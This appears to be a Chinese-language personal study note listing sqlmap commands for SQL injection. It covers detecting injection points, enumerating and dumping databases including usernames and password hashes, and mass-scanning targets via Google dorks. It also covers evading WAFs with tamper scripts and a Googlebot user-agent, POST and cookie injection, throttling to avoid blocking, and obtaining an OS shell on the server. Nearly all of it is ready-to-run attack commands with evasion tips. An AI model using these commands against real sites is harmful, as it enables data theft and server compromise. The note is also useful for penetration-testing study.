sqlmap学习笔记(一)
sqlmap 常用命令
1.sqlmap -u "www.xxx.com/news.asp?id=1" //检查注入点
2.sqlmap -u "www.xxx.com/news.asp?id=1" --current-user //获取当前用户名
3.sqlmap -u "www.xxx.com/news.asp?id=1" --current-db //获取当前数据库名
4.sqlmap -u "www.xxx.com/news.asp?id=1" --dbs //列数据库
5.sqlmap -u "www.xxx.com/news.asp?id=1" --privileges //当前用户权限判断
6.sqlmap -u "www.xxx.com/news.asp?id=1" --users //枚举用户
7.sqlmap -u "www.xxx.com/news.asp?id=1" --passwords //枚举用户哈希
8.sqlmap -u "www.xxx.com/news.asp?id=1" --tables -D "admin" //查admin库中的表名,得到user表
9.sqlmap -u "www.xxx.com/news.asp?id=1" --columns -T "user" -D "admin" //查字段,得到id,username,password
10.sqlmap -u "www.xxx.com/news.asp?id=1" --dump -C "id,username,password" -T "user" -D "admin" -v 5 //拖库,或者使用--dump-all
11.--dbms "Mysql" //指定数据库类型
12.--passwords -U root //查指定列数据库用户root的密码
13.--level 5 //执行测试的等级,默认为1,2会进行cookie注入检测,3会进行useragent检测
14.--user-agent "Googlebot/2.1"
15.--tamper "space2morehash.py"
16.-v 0~6 //-v参数可查看payload,-v 3可显示注入的payload,4、5、6还可以显示HTTP请求,HTTP响应头和页面
17.--sql-shell //提供交互式的sql查询界面
以上为常用sqlmap命令,其他的请查阅手册。
sqlmap 借助google批量扫注入点
1.sqlmap -g "site:target.com inurl:asp"
2.如果要查询注入选y,跳过选n
注:大部分查询结果不存在注入
**sqlmap 利用tamper脚本编码绕过WAF
通过不同编码,绕过WAF
1.sqlmap -u "www.xxx.com/news.asp?id=1" --dbs --tamper "space2morehash.py" //利用.py脚本改变编码,除了space2hash.py,还有base64encode.py、charencode.py等等,可查/usr/share/sqlmap/tamper
2.sqlmap.py --proxy http://127.0.0.1:8087 -u "www.xxx.com/news.asp?id=1" -v 3 –dbms “MySQL” --tamper "space2morehash.py" --referer "http://www.google.com" --user-agent "Googlebot/2.1" //模拟google爬虫
sqlmap post注入
方法一:结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
1.浏览器打开目标地址 http://www.testfire.net/bank/login.aspx
2.配置burp代理(127.0.0.1:8080)以拦截请求
3.点击login表单的submit按钮
4.这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt, 我这命名为test.txt 然后把它放至root目录下
6.运行sqlmap并使用如下命令:sqlmap -r /root/test.txt -p uid,这里参数 -r 是让sqlmap加载我们的post请求test.txt,而 -p 为指定注入用的参数。
方法二:指定参数post注入
1.sqlmap -u "http://www.test.net/test/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"
sqlmap cookies注入
1.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --current-db
2.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --tables -D "admin"
注:注入时有可能存在连接线程数限制,线程设置不要太大
sqlmap 执行shell命令
在数据库权限足够大的时候,可以使用cmd命令:
1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-cmd=ipconfig //执行ipconfig命令
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\
获得一个shell
1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-shell
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\
4.此时可以执行命令,并会在d:\www\下生成两个临时文件(tmpbxbxz.php/tmpuoiuz.php)
sqlmap 伪静态注入
伪静态页面网址:www.xxx.com/index.php/Index/view/id/40.html
1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs //在存在注入的地方加入*键
2.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --tables -D "admin"
sqlmap 延迟注入
某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5 //间隔5秒请求一次
2.--safe-url //详细说明请查阅手册
3.--safe-freq //详细说明请查阅手册
sqlmap 探测waf
sqlmap用来探测WAF类型
sqlmap -u “http://www.testfire.net/bank/login.aspx” --identify-waf